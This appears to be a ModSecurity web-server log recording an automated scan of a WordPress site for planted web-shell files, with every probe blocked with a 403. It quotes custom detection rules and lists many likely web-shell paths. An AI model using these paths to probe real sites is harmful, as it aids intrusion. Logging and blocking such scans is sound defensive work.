[Thu Nov 20 07:08:51.130614 2025] [:error] [pid 34444:tid 34453] [client 185.223.152.83:30413] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/m.php"] [unique_id "aR5OA1NEol4jlmmA_GOntQAAAUc"]
[Thu Nov 20 07:08:51.802838 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.88:60067] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/coffee/colors_26.php"] [unique_id "aR5OA_PZXaIMEU4pE7tSUgAAAM8"]
[Thu Nov 20 07:08:52.475032 2025] [:error] [pid 55430:tid 55446] [client 185.223.152.69:34933] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/"] [unique_id "aR5OBPPZXaIMEU4pE7tSUwAAAM0"]
[Thu Nov 20 07:08:53.151970 2025] [:error] [pid 55342:tid 55373] [client 185.223.152.90:61543] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-backing.php"] [unique_id "aR5OBbg6x32Tvk7fIG9NgAAAAEE"]
[Thu Nov 20 07:08:53.852187 2025] [:error] [pid 34405:tid 34412] [client 185.223.152.80:60037] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/wp-backing.php"] [unique_id "aR5OBTFpvu8oRK7ATfuF7wAAAQU"]
[Thu Nov 20 07:08:54.521976 2025] [:error] [pid 55342:tid 55389] [client 185.223.152.70:62941] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aR5OBrg6x32Tvk7fIG9NgQAAAFE"]
[Thu Nov 20 07:08:55.191809 2025] [:error] [pid 55340:tid 55361] [client 185.223.152.73:50847] [client 185.223.152.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/acxx.php"] [unique_id "aR5OB_OxD-NeMydTybDTawAAABA"]
[Thu Nov 20 07:08:56.043473 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.83:42149] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/modern/about.php"] [unique_id "aR5OCLg6x32Tvk7fIG9NggAAAE8"]
[Thu Nov 20 07:08:56.712385 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.91:36499] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/class-ftp.php"] [unique_id "aR5OCPPZXaIMEU4pE7tSVQAAANQ"]
[Thu Nov 20 07:08:57.383773 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.81:32399] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/about.php"] [unique_id "aR5OCfOxD-NeMydTybDTbgAAAAg"]
[Thu Nov 20 07:08:58.051985 2025] [:error] [pid 55342:tid 55393] [client 185.223.152.83:52341] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/akismet/_inc/img/about.php"] [unique_id "aR5OCrg6x32Tvk7fIG9NhQAAAFU"]
[Thu Nov 20 07:09:00.431197 2025] [:error] [pid 55430:tid 55456] [client 185.223.152.69:28273] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/call-now-button/src/about.php"] [unique_id "aR5ODPPZXaIMEU4pE7tSZwAAANc"]
[Thu Nov 20 07:09:01.113384 2025] [:error] [pid 55340:tid 55360] [client 185.223.152.69:49631] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/about.php"] [unique_id "aR5ODfOxD-NeMydTybDTcAAAAA8"]
[Thu Nov 20 07:09:01.787999 2025] [:error] [pid 55340:tid 55362] [client 185.223.152.82:24565] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress-seo/admin/pages/about.php"] [unique_id "aR5ODfOxD-NeMydTybDTcQAAABE"]
[Thu Nov 20 07:09:02.760869 2025] [:error] [pid 55340:tid 55350] [client 185.223.152.81:50473] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-mail-smtp/assets/about.php"] [unique_id "aR5ODvOxD-NeMydTybDTdAAAAAU"]
[Thu Nov 20 07:09:03.551363 2025] [:error] [pid 34444:tid 34465] [client 185.223.152.80:45755] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-optimize/vendor/mrclay/minify/static/about.php"] [unique_id "aR5OD1NEol4jlmmA_GOnzQAAAVM"]
[Thu Nov 20 07:09:04.320928 2025] [:error] [pid 34444:tid 34448] [client 185.223.152.91:27923] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-smushit/_src/js/common/about.php"] [unique_id "aR5OEFNEol4jlmmA_GOnzwAAAUI"]
[Thu Nov 20 07:09:05.038073 2025] [:error] [pid 55430:tid 55453] [client 185.223.152.70:26405] [client 185.223.152.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-smushit/core/modules/background/about.php"] [unique_id "aR5OEfPZXaIMEU4pE7tSaAAAANQ"]
[Thu Nov 20 07:09:05.733679 2025] [:error] [pid 34444:tid 34459] [client 185.223.152.87:44675] [client 185.223.152.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/about.php"] [unique_id "aR5OEVNEol4jlmmA_GOn0QAAAU0"]
[Thu Nov 20 07:09:06.417642 2025] [:error] [pid 34444:tid 34468] [client 185.223.152.83:49623] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/inc/blog/about.php"] [unique_id "aR5OElNEol4jlmmA_GOn0wAAAVY"]
[Thu Nov 20 07:09:07.092494 2025] [:error] [pid 55340:tid 55356] [client 185.223.152.90:30303] [client 185.223.152.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/template-parts/advanced-footer/about.php"] [unique_id "aR5OE_OxD-NeMydTybDTdgAAAAs"]
[Thu Nov 20 07:09:07.768753 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.71:51917] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/astra/wp-login.php"] [unique_id "aR5OE_PZXaIMEU4pE7tSagAAAMM"]
[Thu Nov 20 07:09:08.454360 2025] [:error] [pid 34444:tid 34463] [client 185.223.152.88:40293] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/paradox/option-tree/assets/js/vendor/jquery/about.php"] [unique_id "aR5OFFNEol4jlmmA_GOn1QAAAVE"]
[Thu Nov 20 07:09:09.132112 2025] [:error] [pid 34444:tid 34461] [client 185.223.152.81:54395] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/fonts/roboto-slab/about.php"] [unique_id "aR5OFVNEol4jlmmA_GOn2AAAAU8"]
[Thu Nov 20 07:09:09.803417 2025] [:error] [pid 34444:tid 34450] [client 185.223.152.66:41251] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/wpseo-import/about.php"] [unique_id "aR5OFVNEol4jlmmA_GOn2wAAAUQ"]
[Thu Nov 20 07:09:10.475025 2025] [:error] [pid 55430:tid 55451] [client 185.223.152.75:64127] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Cookie/about.php"] [unique_id "aR5OFvPZXaIMEU4pE7tSbAAAANI"]
[Thu Nov 20 07:09:11.142931 2025] [:error] [pid 34444:tid 34469] [client 185.223.152.75:49143] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Proxy/about.php"] [unique_id "aR5OF1NEol4jlmmA_GOn3wAAAVc"]
[Thu Nov 20 07:09:11.823516 2025] [:error] [pid 34444:tid 34458] [client 185.223.152.84:41653] [client 185.223.152.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Utility/about.php"] [unique_id "aR5OF1NEol4jlmmA_GOn4QAAAUw"]
[Thu Nov 20 07:09:12.517960 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.72:27435] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/comment-date/about.php"] [unique_id "aR5OGPPZXaIMEU4pE7tSbQAAANA"]
[Thu Nov 20 07:09:13.194359 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.74:25279] [client 185.223.152.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/about.php"] [unique_id "aR5OGbg6x32Tvk7fIG9NiwAAAE8"]
[Thu Nov 20 07:09:13.864537 2025] [:error] [pid 55340:tid 55368] [client 185.223.152.65:36051] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/comments-title/about.php"] [unique_id "aR5OGfOxD-NeMydTybDTeQAAABc"]
[Thu Nov 20 07:09:14.532874 2025] [:error] [pid 55342:tid 55388] [client 185.223.152.76:44921] [client 185.223.152.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/image/about.php"] [unique_id "aR5OGrg6x32Tvk7fIG9NjQAAAFA"]
[Thu Nov 20 07:09:15.200663 2025] [:error] [pid 55343:tid 55402] [client 185.223.152.71:57887] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/latest-posts/about.php"] [unique_id "aR5OG1WlO3EnyVMV7w4M4gAAAIM"]
[Thu Nov 20 07:09:15.870625 2025] [:error] [pid 34444:tid 34446] [client 185.223.152.78:42273] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/more/about.php"] [unique_id "aR5OG1NEol4jlmmA_GOn5AAAAUA"]
[Thu Nov 20 07:09:16.538767 2025] [:error] [pid 55342:tid 55386] [client 185.223.152.71:26057] [client 185.223.152.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/page-list-item/about.php"] [unique_id "aR5OHLg6x32Tvk7fIG9NjwAAAE4"]
[Thu Nov 20 07:09:17.208725 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.65:27877] [client 185.223.152.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-title/about.php"] [unique_id "aR5OHbg6x32Tvk7fIG9NkAAAAFY"]
[Thu Nov 20 07:09:17.877797 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.86:60735] [client 185.223.152.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/components/index.php"] [unique_id "aR5OHTFpvu8oRK7ATfuF-AAAAQI"]
[Thu Nov 20 07:09:18.549842 2025] [:error] [pid 55340:tid 55355] [client 185.223.152.66:57665] [client 185.223.152.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aR5OHvOxD-NeMydTybDTfAAAAAo"]
[Thu Nov 20 07:09:19.224053 2025] [:error] [pid 55342:tid 55379] [client 185.223.152.69:62895] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/wptextpattern/about.php"] [unique_id "aR5OH7g6x32Tvk7fIG9NlAAAAEc"]
[Thu Nov 20 07:09:19.916132 2025] [:error] [pid 34444:tid 34447] [client 185.223.152.81:49617] [client 185.223.152.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "aR5OH1NEol4jlmmA_GOn5gAAAUE"]
[Thu Nov 20 07:09:20.584622 2025] [:error] [pid 55430:tid 55436] [client 185.223.152.75:21555] [client 185.223.152.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/av.php"] [unique_id "aR5OIPPZXaIMEU4pE7tSdQAAAMM"]
[Thu Nov 20 07:09:21.260777 2025] [:error] [pid 55342:tid 55389] [client 185.223.152.80:24291] [client 185.223.152.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/about.php"] [unique_id "aR5OIbg6x32Tvk7fIG9NlwAAAFE"]
[Thu Nov 20 07:09:21.931868 2025] [:error] [pid 34405:tid 34418] [client 185.223.152.91:26123] [client 185.223.152.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/new.php"] [unique_id "aR5OITFpvu8oRK7ATfuF-wAAAQs"]
[Thu Nov 20 07:09:22.604284 2025] [:error] [pid 34405:tid 34420] [client 185.223.152.79:28827] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/block-directory/index.php"] [unique_id "aR5OIjFpvu8oRK7ATfuF_gAAAQ0"]
[Thu Nov 20 07:09:23.272810 2025] [:error] [pid 34444:tid 34469] [client 185.223.152.72:31219] [client 185.223.152.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/back.php"] [unique_id "aR5OI1NEol4jlmmA_GOn5wAAAVc"]
[Thu Nov 20 07:09:23.944834 2025] [:error] [pid 34405:tid 34411] [client 185.223.152.67:23689] [client 185.223.152.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/aves.php"] [unique_id "aR5OIzFpvu8oRK7ATfuGAgAAAQQ"]
[Thu Nov 20 07:09:24.616050 2025] [:error] [pid 55340:tid 55361] [client 185.223.152.83:46825] [client 185.223.152.83] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aR5OJPOxD-NeMydTybDTgAAAABA"]
[Thu Nov 20 07:09:25.284168 2025] [:error] [pid 34444:tid 34465] [client 185.223.152.69:43641] [client 185.223.152.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aR5OJVNEol4jlmmA_GOn6QAAAVM"]
[Thu Nov 20 07:09:25.959357 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.88:49447] [client 185.223.152.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "aR5OJTFpvu8oRK7ATfuGBQAAAQI"]
[Thu Nov 20 07:09:26.631829 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.78:30933] [client 185.223.152.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/m.php"] [unique_id "aR5OJrg6x32Tvk7fIG9NnAAAAFY"]
[Thu Nov 20 07:09:27.382786 2025] [:error] [pid 55342:tid 55387] [client 185.223.152.77:31173] [client 185.223.152.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aR5OJ7g6x32Tvk7fIG9NqAAAAE8"]
[Thu Nov 20 07:09:28.057826 2025] [:error] [pid 55430:tid 55448] [client 185.223.152.82:63747] [client 185.223.152.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aR5OKPPZXaIMEU4pE7tSfQAAAM8"]
[Thu Nov 20 07:09:28.740830 2025] [:error] [pid 55343:tid 55419] [client 185.223.152.79:31653] [client 185.223.152.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aR5OKFWlO3EnyVMV7w4M7wAAAJQ"]
